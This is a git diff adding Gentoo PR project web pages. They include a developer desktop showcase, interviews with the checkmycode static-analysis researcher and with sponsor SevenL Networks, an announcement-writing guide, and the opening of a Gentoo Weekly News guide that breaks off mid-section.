+	<tr>
+		<th>Markos Chandras (hwoarang) Gentoo Developer</th>
+	</tr>
+</table>
+
+<p>
+Markos is a busy man, he helps out with Qt, treecleaners, sunrise, amd64, QA,
+and the kernel.
+</p>
+
+<p>
+	<b>About:</b>
+</p>
+
+<p>
+Running openbox-git (3.5.0-rc1), pcmanfm-git, quassel, networkled, urxvt,
+minitube, fbpanel, conky. The decoration is native on openbox, and the window
+styling is qtcurve-qt4.
+</p>
+
+<p>
+	<b>Specs:</b>
+</p>
+
+<ul>
+	<li>MSI-DKA790GX</li>
+	<li>AMD Phenom(tm) II X6 1055T Processor</li>
+	<li>2X1GB Kingston HyperX</li>
+	<li>2x1TB Western Digital Black Caviar</li>
+	<li>8500GT</li>
+</ul>
+
+<p>
+	<uri 
+		link="http://dev.gentoo.org/~dabbott/screenshots/markos-screenshots-gentoo-2010.png">
+		<img src="screenshots/markos.png" /></uri>
+</p>
+
+<table>
+	<tr>
+		<th>Noel Saliba (weirdedout)</th>
+	</tr>
+</table>
+
+<p>
+Noel is a longtime Gentoo user and he gets to take care of Gentoo Servers as a
+System Administrator all over the world. 
+</p>
+
+<p>
+	<b>About:</b>
+</p>
+
+<ul>
+	<li>KDE 4.3.5</li>
+	<li>krunner desktop search (cached by nepomuk)</li>
+	<li>K3B desktop status</li>
+	<li>System Monitor Plasmoid</li>
+</ul>
+
+<p>
+	<b>Specs:</b>
+</p>
+
+<ul>
+  <li>Dell Inspiron 6400</li>
+  <li>Intel Core Duo (T2300) - 1.66GHz</li>
+  <li>VGA: Intel 945GM</li>
+  <li>RAM: 2GB DDR2</li>
+  <li>HDD: 320GB Western Digital SATA</li>
+</ul>
+
+<p>
+	<uri
+		link="http://dev.gentoo.org/~dabbott/screenshots/WeirdedoutScreen2010.png">
+		<img src="screenshots/noel.png" /></uri>
+</p>
+
+
+<table>
+	<tr>
+		<th>Michael Weber (xmw)</th>
+	</tr>
+</table>
+
+<p>
+Michael is currently being recruited to be a full Gentoo developer and in his
+spare time he has been busy on the Sunrise and Gnome overlays. He also has been
+known to help out wrangling some bugs.
+</p>
+
+<p>
+	<b>About:</b>
+</p>
+
+<p>
+Nick: xmw
+</p>
+
+<p>
+Real Name: Michael Weber
+</p>
+
+<p>
+Software is Gentoo/Linux amd64 (just switched to) gnome profile. Essential parts
+like gentoo-sources, glibc, gcc, and end user apps like firefox, thunderbird,
+gnome is bleeding edge (gnome overlay and beyond), like gnome-shell-2.31.2,
+x11-wm/metacity 2.30.1, the rest is stable.
+</p>
+
+<p>
+The backgrounds get switched on a regular basis, mostly own pictures taken with
+a Sony DSLR, like this cat called Luzi over here.
+</p>
+
+<p>
+	<b>Specs:</b>
+</p>
+
+<ul>
+	<li>Asus M3N78 PRO</li>
+	<li>AMD Phenom II X4 920</li> 
+	<li>4x2GB Kingston</li>
+	<li>HDD 250GB</li>
+	<li>nVidia Corporation C77 [GeForce 8300]</li>
+	<li>1T raid-1 as data</li>
+	<li>300G raid-1 as home</li>
+	<li>2 1.5T ST31500341AS</li>
+</ul>
+
+<p>
+	<uri link="http://dev.gentoo.org/~dabbott/screenshots/xmw-pandora.png">
+		<img src="screenshots/xmw.png" /></uri>
+</p>
+
+<table>
+	<tr>
+		<th>Fernando V. Orocu (likewhoa) </th>
+	</tr>
+</table>
+
+<p>
+Fernando A.K.A likewhoa has been using Gentoo Linux since 2004 and has been
+deploying Gentoo servers ever since with a passion for OSS and User
+collaboration. He is currently being recruited to become a full Gentoo developer
+and he was the builder for the Gentoo 10.1 LiveDVD. He is currently working on
+the latest version codenamed "solarpowered" or commonly refered to as 10.2.
+</p>
+
+<p>
+	<b>About:</b>
+</p>
+
+<ul>
+  <li>User Name: likewhoa (Gentoo Forums) </li> 
+  <li>fvwm2 </li>
+	<li>Custom Gentoo Related Dynamic Menus </li>
+</ul>
+
+<p>
+	<b>Specs:</b>
+</p>
+
+<ul>
+  <li>Hardware Spec: DFI NF4 Socket 939 Venus Mainboard </li> 
+  <li>Opteron 165 at 3150MHz </li>
+  <li>Ram: 2GB 3-3-2-6 under H2O </li>
+</ul>
+
+<p>
+	<uri link="http://dev.gentoo.org/~dabbott/screenshots/Fernando_Judge.png">
+		<img src="screenshots/likewhoa.png" /></uri>
+</p>
+
+<table>
+	<tr>
+		<th>David Abbott (dabbott)</th>
+	</tr>
+</table>
+
+<p>
+David Abbott (dabbott) aka (comprookie2000) aka LinuxCrazy Podcasts, staff
+developer for the PR project and ebuild developer wantabe :).
+</p>
+
+<p>
+	<b>About:</b>
+</p>
+
+<ul>
+	<li>Gentoo Forums Nick: comprookie2000</li>
+	<li>Gentoo Nick: dabbott</li>
+	<li><uri
+			link="http://dev.gentoo.org/~dabbott/">
+			http://dev.gentoo.org/~dabbott/</uri></li>
+	<li>Real Name: David Abbott</li>
+	<li>Hostname: Quad</li>
+	<li>Running compiz-fusion with Gnome 2.30. Custom Window border and theme.
+		Theme is a simple hack of clearlooks. Window border is Emerald theme Fogo
+		with custom colors. Gnome-Noble Icons with Gentoo logo Start-here. Wallpaper
+		is /usr/share/pixmaps/1280x1024/gentoo-cow-alpha Resized and added the
+		background color with the gimp.</li>
+</ul>
+
+<p>
+	<b>Specs:</b>
+</p>
+
+<ul>
+	<li>Intel BOXDP43TF LGA 775 Intel P43 ATX Intel Motherboard</li>
+	<li>Intel Core 2 Quad Q8200 2.33GHz</li>
+	<li>CORSAIR XMS2 DHX 8GB (4 x 2GB) (PC2 6400)</li> 
+	<li>GIGABYTE GV-N96TZL-1GI GeForce 9600</li> 
+	<li>Turtle Beach Santa Cruz (snd-cs46xx)</li>
+	<li>Western Digital VelociRaptor WD3000HLFS 300GB</li>
+
+</ul>
+
+<p>
+	<uri link="http://dwabbott.com/downloads/dabbott_compiz.png">
+		<img src="screenshots/dabbott.png" /></uri>
+</p>
+
+</body>
+</news>
diff --git a/xml/htdocs/proj/en/pr/20100401-andrzej-interview.xml b/xml/htdocs/proj/en/pr/20100401-andrzej-interview.xml
new file mode 100644
index 00000000..0a64c51d
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/20100401-andrzej-interview.xml
@@ -0,0 +1,186 @@
+<?xml version='1.0'?>
+
+<!DOCTYPE news SYSTEM "/dtd/guide.dtd">
+
+<news gentoo="yes" category="gentoo">
+
+<!-- Enter your name here -->
+<poster>dabbott</poster>
+
+<!-- Date to be displayed -->
+<date>2010-04-01</date>
+<title>Interview with Andrzej Wasylkowski from the checkmycode project.</title>
+
+<body>
+
+<p>
+	<b>Hi Andrzej, thanks for the interview.</b>
+</p>
+
+<p>
+Hi! From my side, I would also like to thank for the interview. It is a real
+pleasure to be your virtual guest :)
+</p>
+
+<p>
+	<b>1. I see on the web page for <uri
+			link="http://www.checkmycode.org/">http://www.checkmycode.org/</uri> I
+		enter into a form my C code and it generates a report of anomalies found in
+		my code with an explanation of why parts of my code are considered anomalous
+		and therefore possibly buggy. Walk me through what goes on in the background
+		to produce this?</b>
+</p>
+
+<p>
+In a nutshell, we have mined all of the Gentoo Linux distribution for typical
+usage of component interfaces -- that is, how Linux components are normally
+used.  If you use an interface in an uncommon way, this will be flagged as an
+anomaly.
+</p>
+
+<p>
+From a high-level point of view, there are three main steps involved. First, the
+code you submit gets parsed and so-called "sequential constraints" are generated
+from it. These are two-element sequences of function calls annotated with data
+flow information, such as "retval of socket() -> 1st arg of listen()". They
+represent, in an abstract way, how your code uses functions to operate on
+"objects".
+</p>
+
+<p>
+Second, we look at all possibly relevant C projects from a Gentoo Linux
+distribution to see how these projects use the functions that your code uses,
+too. Without going into too much detail, if you call "socket()", code from all
+projects that also calls "socket()" is going to be taken into consideration to
+find sequential constraints where "socket()" is present.
+</p>
+
+<p>
+Third, we check if your code violates any of the patterns found in the second
+step (you can find sample violations in the <uri
+	link="http://www.checkmycode.org/index.php?action=tutorial">tutorial</uri>.
+Any violations found will be reported to you by the website interface.
+</p>
+
+<p>
+In reality there is a lot more going on, but the high level picture is as
+described above.
+</p>
+
+<p>	
+	<b>2. When did the project get started and why?</b>
+</p>
+
+<p>	
+Today, we have several highly sophisticated techniques for checking code. What's
+missing is the specification to check against.  So we wanted to learn these
+specifications from existing bodies of code. The project grew gradually and it
+is hard to pinpoint exact starting date. We started with a lightweight parser
+that was written by my student, <uri
+	link="http://www.st.cs.uni-saarland.de/publications/details/gruska-tr-2010/">Natalie
+	Gruska</uri>, as part of her Bachelor's thesis. The parser was finished in
+July 2009, but the original intention had nothing to do with analysing lots of
+source code. We just wanted to create a language-independent front-end for one
+of my tools, <uri
+	link="http://www.st.cs.uni-saarland.de/models/jadet/">JADET</uri>. It turned
+out that the parser was very fast, and shortly afterwards <uri
+	link="http://www.st.cs.uni-saarland.de/zeller/">Prof. Andreas Zeller</uri>
+came up with the idea of analysing lots of source code with its help. The
+remaining several months until creating a web service was a lot of hard work on
+my part to actually make it all work and scale to the size of a Linux
+distribution.
+</p>
+
+<p>
+	<b>3. Who are some of the other people involved?</b>
+</p>
+
+<p>
+The parser that is used by the website was written by Natalie Gruska, who is
+currently a student at Queen's University in Canada. The original idea comes
+from my supervisor, Prof. Andreas Zeller. The web interface and the web
+programming was done by a colleague of mine, <uri
+	link="http://www.st.cs.uni-saarland.de/~streit/">Kevin Streit</uri>, who is,
+like me, a PhD student at Saarland University in Germany.
+</p>
+
+<p>
+	<b>4. How is Gentoo involved in the project?</b>
+</p>
+
+<p>
+All the source code that the analysis uses to find patterns comes from the
+Gentoo distribution (i.e., the snippet you submit gets compared to the source
+code of projects coming from the Gentoo distribution).
+</p>
+
+<p>
+	<b>5. Why was it chosen?</b>
+</p>
+
+<p>
+It gives us access to source code for all the projects in the distribution. This
+in turn allows us to use our lightweight parser to find the way functions are
+being used by those projects.
+</p>
+
+<p>
+	<b>6. What are the hardest parts of using Gentoo?</b>
+</p>
+
+<p>
+There are none :) Using Gentoo was a piece of cake, really, and by far the
+easiest part of the whole project.
+</p>
+
+<p>
+	<b>7. What would you change in Gentoo to make it easier to use for your
+		project?</b>
+</p>
+
+<p>
+One thing that I wish I had access to, but did not have (or maybe simply could
+not find it) was a web interface to the source code trees of all the projects.
+Whenever a violation is found, the user also gets three examples of where the
+"correct" code can be found. We provide a web interface for this, but before
+there was www.checkmycode.org, I had to manually extract projects' files and it
+was quite tedious.
+</p>
+
+<p>
+	<b>8. What do you like about Gentoo?</b>
+</p>
+
+<p>
+I like the fact that portage is quite easy to use, and that Gentoo uses a
+rolling release approach. Anyone who has ever used a non-rolling release Linux
+distribution and bumped into unsolvable version conflicts while trying to use
+the newest available version of some package knows what I am talking about.
+</p>
+
+<p>
+Also, for obvious reasons, I like the fact that I have access to the source code
+:) As a matter of fact, the machine that hosts the website runs on Gentoo.
+</p>
+
+<p>
+	<b>9. Thanks again for taking the time to discuss your checkmycode tool. Do
+		you have any further remarks?</b>
+</p>
+
+<p>
+Thank you for asking me all those questions; it was a real pleasure! I would
+just like to point out that <uri
+	link="http://www.checkmycode.org/">www.checkmycode.org</uri> is just a small
+interface to a tool that is able to handle whole programs of quite large sizes
+and detect violations in them. Therefore, we put a lot of stress on making the
+tool able to filter what it thinks are false alarms and this significantly
+reduces the number of violations found. Unfortunately, the side-effect is that
+some real errors related to incorrect functions' usage will not be detected. So,
+to paraphrase Edsger W. Dijkstra, the tool can only show the presence, not the
+absence of potential problem locations in your code.
+</p>
+
+</body>
+
+</news>
diff --git a/xml/htdocs/proj/en/pr/20100830-sevenl-interview.xml b/xml/htdocs/proj/en/pr/20100830-sevenl-interview.xml
new file mode 100644
index 00000000..b3cdc1b2
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/20100830-sevenl-interview.xml
@@ -0,0 +1,146 @@
+<?xml version='1.0'?>
+<!DOCTYPE news SYSTEM "/dtd/guide.dtd">
+
+<news gentoo="yes" category="gentoo">
+<poster>quantumsummers</poster>
+<date>2010-08-29</date>
+
+<title>Interview with David Gallo and Cassius Adams from SevenL Networks, a
+	sponsor of Gentoo for 6 years running.</title>
+
+<body>
+
+<p>
+<b>1. Introduction: Who you are, and what is your role at SevenL Networks
+	Inc.?</b>
+</p>
+
+<p>
+I will start off by introducing myself. My name is David Gallo (<uri
+	link="http://twitter.com/davidgallo">@DavidGallo</uri>), and I was born and
+raised in Toronto, Canada. I have an athletic and musical background, ranging
+from golfing to violin playing. My passion for technology has resided in me for
+as long as I can remember. I have always been intrigued with the idea of using
+technology to optimize the lives of people and organizations. I hold a strong
+belief in customer service and personal relationships. At SevenL, we have very
+little bureaucracy and we are not people of flash or title. At the company, I
+"technically" hold a position as Managing Partner, but am currently practicing a
+role in Business Development. In this position, I am in charge of the business
+side of things, as well as providing the overall vision for the organization…
+with the help of our team of course! =) 
+</p>
+
+<p>
+And I'm Cassius Adams, also born and raised in Toronto. I hold the positions of
+Co-Founder &amp; Senior Account Exec at SevenL. Like David, I strongly believe
+in providing good customer service. I have always found that it helps me to
+understand customers’ needs better, build better relationships with them,
+negotiate win-win scenarios, and keep them happy as a customer overall. Ever
+since my TRS-80, computers and technology have always been a major part of my
+life, both for the purposes of work and play.
+</p>
+
+<fig link="/images/pr/sevenl.jpg"/>
+
+<p>
+Cassius Adams (left), and David Gallo (right)
+</p>
+
+<p>
+<b>2.What is 7L (including founding, scale of operations, etc.)</b>
+</p>
+
+<p>
+<b>David:</b> SevenL was originally established as LabattRacks.Net Managing
+Services Inc. in 1999. The company owned the Data Center which is located at the
+east side of Toronto, surrounded by 100 000 sqft. of industrial/commercial
+office space. Daniel Gallo, the founding director, has an extensive background
+in the Real Estate industry and has been a tremendous help and mentor over the
+years. LabattRacks.Net leased the full data center floor to an ISP that was
+eventually bought out. In the spring of 2003, the DC floor became vacant, and
+SevenL was born with the help of Cassius Adams, Carey McLelland and Todd Berman.
+Within a few months of inception, SevenL began donating dedicated servers to
+Gentoo. 
+</p>
+
+<p>
+<b>Cassius:</b> SevenL provides <uri
+	link="https://www.sevenl.net/vps-hosting">VPS Hosting</uri>, <uri
+	link="https://www.sevenl.net/dedicated-server">Dedicated Servers</uri>, <uri
+	link="https://www.sevenl.net/managed-hosting">Managed Hosting</uri> solutions,
+and <uri link="https://www.sevenl.net/colocation">Server Colocation</uri> space
+to businesses and professionals. At the risk of sounding like a sales guy, our
+affordable prices, network quality, and customer support, or "Relentless Support
+&trade;", are the largest factors contributing to our continually growing
+worldwide customer base. 
+</p>
+
+<p>
+<b>3. What services do you provide for Gentoo?</b>
+</p>
+
+<p>
+<b>David:</b> Currently we host condor.gentoo.org, corvid.gentoo.org, and
+pigeon.gentoo.org. Gentoo is widely used on our network between internal servers
+and client servers! Match made in heaven =)
+</p>
+
+<p>
+<b>4. How do you use Gentoo in your environment?</b>
+</p>
+
+<p>
+<b>David:</b> Gentoo is primarily used in a Server environment. The servers are
+configured as Web/mail or as EDGE routers on test networks. Maintaining our
+systems is primarily done by using Portage. Gentoo has been used on various
+machines for many purposes within our organization. It has enabled us to test
+several different branches of software, as well as mix software branches for
+development and experimentation. Gentoo servers are pretty easy to maintain.
+Once they are up and configured, emerge and portage can take care of a variety
+of issues when and if they arise. 
+</p>
+
+<p>
+<b>5. Why choose Gentoo?</b>
+</p>
+
+<p>
+<b>Cassius:</b> Actually, the choice of using Gentoo for our production servers
+was initially by association. When SevenL first began we had a developer on
+staff that contributed significant code to Gentoo Linux. It was his relationship
+with the OS and the Gentoo Organization that lead us to use it internally and we
+haven't looked back since! 
+</p>
+
+<p>
+Gentoo was chosen as an alternative to Slackware Linux. We liked the fact that
+Gentoo had a package management system which allowed the user to update a series
+of system/user packages in an automated fashion which even included compiling
+missing dependencies. The advantage of using Gentoo over other flavors of Linux
+is that it allows the user to only install/compile specific packages and
+features specially configured for their architecture. Any issues encountered
+were either solved by the experience of our team or by using the various Gentoo
+forums and wiki’s. We find the support programs and irc channels very helpful.
+</p>
+
+<p>
+<b>6. Any concluding remarks?</b>
+</p>
+
+<p>
+<b>David:</b> Working with the Gentoo community has been such a positive
+experience for SevenL. You guys know what the heck you’re doing (clearly), and
+because of your allowance of our donations over the years, we have built up a
+strong brand recognition being a Gentoo supporter and Gentoo dedicated hosting
+company. We look forward to the ongoing relationship with Gentoo, and are
+excited for the future.
+</p>
+
+<p>
+On behalf of the Gentoo Project and Foundation, we extend a <b>huge thanks</b>
+to David and Cassius for taking the time to talk with us, and for the excellent
+infrastructure support SevenL has provided Gentoo over the past several years.
+</p>
+
+</body>
+</news>
diff --git a/xml/htdocs/proj/en/pr/Fernando_Judge.png b/xml/htdocs/proj/en/pr/Fernando_Judge.png
new file mode 100644
index 00000000..046fb97c
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/Fernando_Judge.png
diff --git a/xml/htdocs/proj/en/pr/Marcos_Judge.png b/xml/htdocs/proj/en/pr/Marcos_Judge.png
new file mode 100644
index 00000000..de9140f9
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/Marcos_Judge.png
diff --git a/xml/htdocs/proj/en/pr/Noel_Judge.png b/xml/htdocs/proj/en/pr/Noel_Judge.png
new file mode 100644
index 00000000..c1816932
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/Noel_Judge.png
diff --git a/xml/htdocs/proj/en/pr/docs/announcement-guide.xml b/xml/htdocs/proj/en/pr/docs/announcement-guide.xml
new file mode 100644
index 00000000..9c98c2c3
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/docs/announcement-guide.xml
@@ -0,0 +1,202 @@
+<?xml version="1.0" encoding="UTF-8"?>
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/pr/docs/announcement-guide.xml,v 1.4 2008/03/01 22:47:44 nichoj Exp $ -->
+
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide disclaimer="draft" link="announcement-guide.xml" lang="en">
+  <title>Announcement Guide</title>
+  <author title="Author">
+    <mail link="nichoj"/>
+  </author>
+  
+  <abstract>
+    This guide documents the proccess of posting announcements to the front page. It also provides guidelines, suggestions, tips, and references for writing effective announcements.
+  </abstract>
+  <version>0.2</version>
+  <date>2008-03-01</date>
+  
+  <chapter>
+    <title>Creating announcements</title>
+    <section>
+      <title>Initial setup</title>
+      <body>
+        <p>
+          To start, you'll need to go through all the setup you would need to do other documentation. This is already well documented <uri link="/proj/en/gdp/doc/doc-tipsntricks.xml">here</uri>.
+        </p>
+        <p>
+          Announcements live in <path>xml/htdocs/news/</path>, relative to the root of the 'gentoo' CVS module. To create a new announcement, just create a new XML file in this directory. Typically, this is of the form <path>YYYYmmdd-some-title-here.xml</path>.
+        </p>
+        <p>
+          The order of announcements is determined by the contents of <path>/dyn/news-index.xml</path>. This file gets generated by a cron job, which does something like <c>ls -r</c>. This means that something like ZZ.xml would always show up first.
+        </p>
+        <p>
+          If you want to publish <b>several items on the same day</b> with a specific order, <b>add an extra letter</b> to the data, like <path>20080211a-foo.xml</path> and <path>20080211b-bar.xml</path> (the latter will appear above the former).
+        </p>
+      </body>
+    </section>
+    <section>
+      <title>File format</title>
+      <body>
+        <p>
+          Announcements are of a variation of your typical <uri link="/doc/en/xml-guide.xml">GuideXML</uri>.
+        </p>
+        <p>
+          Best to teach by example, so here's a basic one:
+        </p>
+        <pre caption="Announcement example"><![CDATA[<?xml version='1.0'?>
+<!DOCTYPE news SYSTEM "/dtd/guide.dtd">
+<news gentoo="yes" category="linux">
+  <poster>your_nick_here</poster>
+  <date>YYYY-mm-dd</date>
+  <title>First post!</title>
+  <body>
+    <p>
+      Here there be content!
+    </p>
+  </body>
+</news>
+]]></pre>
+        <p>Here's what's really important:</p>
+        <ul>
+          <li>Gentoo equals very yes</li>
+          <li>
+            Category should be specified. Eventually XSL uses this to generate an image tag for the announcement. Some valid categories include:
+            <ul>
+              <li>gentoo</li>
+              <li>kde</li>
+              <li>main</li>
+              <li>linux</li>
+              <li>moo</li>
+              <li>plans</li>
+            </ul>
+          </li>
+          <li>Poster... that's you, the one writing the announcement</li>
+          <li>Date of the announcement</li>
+          <li>Full title of the announcement</li>
+          <li>Body of the announcement. You can use the same XML you would be able to in an body tag for GuideXML</li>
+        </ul>
+      </body>
+    </section>
+    <section>
+      <title>Discussion link</title>
+      <body>
+        <p>The announcement should contain a link to <b>discuss it on the forums</b>. Regretfully, this <b>not automated</b> so you will need to create a thread before posting the announcement.</p>
+        <p>You'd add a snippet like so:</p>
+        <pre caption="Discussion link"><![CDATA[<p>
+  <uri link="http://forums.gentoo.org/viewtopic-t-657125.html">Discuss this!</uri>
+</p>
+]]></pre>
+      </body>
+    </section>
+  </chapter>
+  <chapter>
+    <title>Writing effective announcements</title>
+    <section>
+      <body>
+        <p>
+          Now that you have the basics of creating an announcement, we can focus on <b>writing effective announcements</b>.
+        </p>
+        <p>
+          Certainly, at the most basic level we want to <b>inform our audience of something</b>. We also want to make it <b>easy to understand</b> what we're trying to say. We want to explain things in a way that they see <b>why they should care</b> about the announcement. And lastly, we want to <b>engage the audience</b>. Community has always been an important part of Gentoo, and we hope that well-written, timely announcements can help maintain and improve our sense of community.
+        </p>
+      </body>
+    </section>
+    <section>
+      <title>Tips</title>
+      <body>
+        <ul>
+          <li>Bold key words and phrases.</li>
+          <li>
+            Avoid over-emphasizing unimportant thing. Doing so takes away from things that are important.
+            <ul>
+              <li>Example: including specific dates. For things in the recent past, does it matter which day it specifically happened?</li>
+            </ul>
+          </li>
+          <li>
+            Be specific about what you are talking about, and avoid ambiguity
+            <ul>
+              <li>Before: "Here are some stats before and after removing the digest files"</li>
+              <li>After: "Here are some stats showing the size of the tree before and after removing the digest files"</li>
+            </ul>
+          </li>
+          <li>
+            Avoid overly long paragraphs.
+          </li>
+          <li>
+            Prefer simple language and sentence structure.
+          </li>
+          <li>
+            Use bullet points and tables when appropriate. It is a lot easier to read a list of bullet point list, than an equivalent sentence.
+          </li>
+          <li>
+            Speak directly to the user.
+            <ul>
+              <li>Use "You" instead of "a user"</li>
+              <li>Trying to have a conversation with the audience</li>
+              <li>This is supported by having a forum thread go along with an announcement</li>
+            </ul>
+          </li>
+          <li>
+            Include relevant links whenever possible. Try to integrate them into the text, and avoid having 'here' links.
+          </li>
+          <li>
+            If that's not possible, list references at the end.
+            <ul>
+              <li>List items most relevant to the user first</li>
+              <li>
+                Use appropriate text to encourage the user to want to read the reference
+                <ul>
+                  <li>Explain why the user should care</li>
+                  <li>Before: "DevManual entry on Digest and Manifest"</li>
+                  <li>After: "Understanding digest and manifest files"</li>
+                </ul>
+              </li>
+            </ul>
+          </li>
+          
+          <li>
+            Explanations are key.
+            <ul>
+              <li>Think about every word or concept you use. Try to anticipate what the audience might not be familar with.</li>
+              <li>This is crucial if you want your announcements to be valuable to the audience.</li>
+            </ul>
+          </li>
+        </ul>
+      </body>
+    </section>
+    <section>
+      <title>Appropriate topics for announcements</title>
+      <body>
+        <p>
+          This is by no means an exhaustive list, but intended to give you some ideas what could be announcement material.
+        </p>
+        <ul>
+          <li>Release related news</li>
+          <li>Significant user-affecting changes</li>
+          <li>GMN releases</li>
+          <li>Gentoo sponsored events, like booths at conferences</li>
+          <li>Gentoo related events, like user organized gatherings</li>
+        </ul>
+      </body>
+    </section>
+    <section>
+      <title>References</title>
+      <body>
+        <ul>
+          <li>
+            <uri link="http://www.useit.com/alertbox/">Alertbox:
+          Current Issues in Web Usability</uri>
+            <ul>
+              <li><uri link="http://www.useit.com/alertbox/passive-voice.html">Passive Voice Is Redeemed For Web Headings</uri></li>
+              <li><uri link="http://www.useit.com/alertbox/9710a.html">How Users Read on the Web</uri></li>            
+            </ul>
+          </li>
+          <li>
+            <uri link="http://en.wikipedia.org/wiki/News_writing">News Writing, according to Wikipedia</uri>
+          </li>
+        </ul>
+      </body>
+    </section>
+  </chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/pr/docs/gwn-guide.xml b/xml/htdocs/proj/en/pr/docs/gwn-guide.xml
new file mode 100644
index 00000000..f43c0539
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/docs/gwn-guide.xml
@@ -0,0 +1,835 @@
+<?xml version="1.0" encoding="UTF-8"?>
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/pr/docs/gwn-guide.xml,v 1.2 2006/01/03 23:00:04 plasmaroo Exp $ -->
+
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="gwn-guide.xml" lang="en">
+<title>Gentoo Weekly News guide</title>
+<author title="Author">
+  <mail link="plate@gentoo.org">Ulrich Plate</mail>
+</author>
+<author title="Author">
+  <mail link="swift@gentoo.org">Sven Vermeulen</mail>
+</author>
+
+<abstract>
+This guide documents the GWN release process, from authoring individual
+articles to posting the finished product on the website. The guide's primary 
+purpose is to ensure continuous GWN releases independent of possible fall-offs 
+and hiatuses.
+</abstract>
+
+<version>1.0</version>
+<date>2006-12-03</date>
+
+<chapter>
+<title>Introduction</title>
+<section>
+<title>The GWN manifesto</title>
+<body>
+<p>
+The <uri link="http://www.gentoo.org/news/en/gwn/gwn.xml">Gentoo Weekly Newsletter 
+(GWN)</uri> was founded in December 2002 with the purpose of reporting news from the 
+Gentoo project, and to provide a two-way communication conduit between the developers 
+and the Gentoo community.
+</p>
+<p>
+As an official PR subproject, the GWN has two main roles to fulfill. It's a 
+propaganda instrument with the aim of promoting Gentoo as a whole, by forming a 
+public image of a highly dynamic, technologically advanced, ambitious project. The
+second role, equally important, is its community-building aspect, by making Gentoo 
+accessible to users, transparent in its movements, and eventually attractive enough 
+to facilitate the recruiting of new developers.
+</p>
+<p>
+While being an official publication, the GWN doesn't necessarily reflect opinions
+of the Gentoo Foundation trustees, or the Gentoo Council, or a majority of developers, 
+or any other steering committee. It's an independent voice within the boundary of its 
+voluntary adherence to the Gentoo Social Contract and the ethics of journalism.
+</p>
+<p>
+The GWN is written by Gentoo developers, users, amateurs or sometimes even external
+authors not affiliated with Gentoo in any way other than by submitting an article
+to the GWN. The editor is responsible for keeping contributions within the guidelines,
+and looks after ethical and/or legal implications. The newsletter is published under the 
+same Creative Commons license as the documentation on the website.
+</p>
+<table>
+<tr>
+<th colspan="2">GWN editors to date</th>
+</tr>
+<tr>
+<ti><mail link="klieber@gentoo.org">Kurt Lieber</mail></ti>
+<ti>December 2002 - June 2003</ti>
+</tr>
+<tr>
+<ti>Yuji Carlos Kosugi</ti>
+<ti>July 2003 - September 2004</ti>
+</tr>
+<tr>
+<ti><mail link="plate@gentoo.org">Ulrich Plate</mail></ti>
+<ti>Since September 2004</ti>
+</tr>
+</table>
+</body>
+</section>
+<section>
+<title>Best practices</title>
+<body>
+<p>
+There never was much in terms of rules set forth by the editors of the GWN. The GWN 
+authors have always based their contributions on implicit understanding rather than 
+explicit editorial guidelines. However, some of the best practices that have proven their 
+usefulness can be summarized in a few bullet points:
+</p>
+<ul>
+<li>
+The GWN has been published in American English since its first issue. Purely 
+for consistency reasons, we continue to write "favorite" rather than "favourite", 
+prefer to "organize" and not "organise" things, and would probably call a "jumper"
+a "sweater."
+</li>
+<li>Punctuation also follows American typography rules. Readers 
+outside the US may not feel entirely comfortable with a period to the <e>left</e>
+of an end-of-quotation mark, but that's how it's done in American English, even when 
+it's only a single word that's being quoted.
+</li>
+<li>
+"Gentoo" is a generic term to be used in a number of combinations. As of 
+itself, it's encompassing everything that's being done in and around the project, 
+and can be used to refer to the "Gentoo community," the "Gentoo subprojects," the "Gentoo 
+fan clubs," the "Gentoo metadistribution," the "Gentoo way of life." Then we have 
+distinct projects that take a name of their own, like the legal bodies and a few
+tangible or political manifestations, e.g. Gentoo {Linux|*BSD|for Mac
+OS X} etc., Gentoo {Foundation|Inc.} or Gentoo {Forums|Council}. Only those 
+proper names are capitalized.</li>
+<li>
+Speaking of which, capitalization inside headlines is generally frowned upon. We Don't Do That.
+</li>
+<li>
+Pictures need to be related to the article they appear inside. Their size is 
+limited to 600x450 pixels and a maximum of 100KB. If the copyright of an image
+lies not with the Gentoo Foundation, a note naming the photographer or the 
+copyright holder is added below.
+</li>
+<li>
+ISO standards are followed wherever we can, including currencies ("USD" rather than
+"dollars" or "$", "JPY" not "Yen" and so on), dates are always written in day 
+(numerical), month (spelt out), year (numerical) order: "12 November 2005," not 
+"11/12/05" or "Nov 12, 2005."
+</li>
+<li>
+Names are always given in first name, last name order. This includes Japanese, Korean or 
+Chinese names.
+</li>
+</ul>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>The GWN sections</title>
+<section>
+<title>First section: main Gentoo news</title>
+<body>
+
+<p>
+The top section of each GWN contains news contributions from inside the entire 
+Gentoo project. This includes status updates from projects and subprojects, 
+release information, important changes to the Portage tree, infrastructure 
+heads-ups, Gentoo-related news from sponsors, reports from major public events 
+like international trade fairs and developer conferences - in essence a wide 
+variety of things of significant importance to readers. 
+</p>
+<p>
+Contributions to this chapter are often sensitive in nature, sufficient time
+before publication should be allowed for, in order to cross-check information 
+with Gentoo developers directly involved.
+</p>
+<p>
+A special case of main news items are the project updates to be submitted by
+the project leads. Sending a weekly reminder to the various project leads 
+asking for an update (if available) helps assuring input for this category. 
+</p>
+<p>
+If need be, errata and corrections to items in earlier GWNs are appended to 
+the end of the main section, regardless of which chapter they've actually occurred in.
+</p>
+<p>
+Once finalized, all information should be bundled in XML excerpts following the
+syntax described in <uri link="#syntax">GWN XML Syntax</uri>.
+</p>
+
+<p>
+These snippets of XML code should be concatenated and sent to <mail
+link="gentoo-gwn-admin@gentoo.org">gentoo-gwn-admin@gentoo.org</mail> (let us
+assume with the name <path>news.xml</path>).
+</p>
+
+</body>
+</section>
+<section>
+<title>Second section: feature rotation</title>
+<body>
+
+<p>
+The second section is designed to rotate through different
+categories, including: developer portraits (dev of the week), user
+stories and interviews (practical application of Gentoo in external
+projects, companies etc.), and the "Future zone" that deals with
+Gentoo-related development not entirely fit for release yet, but
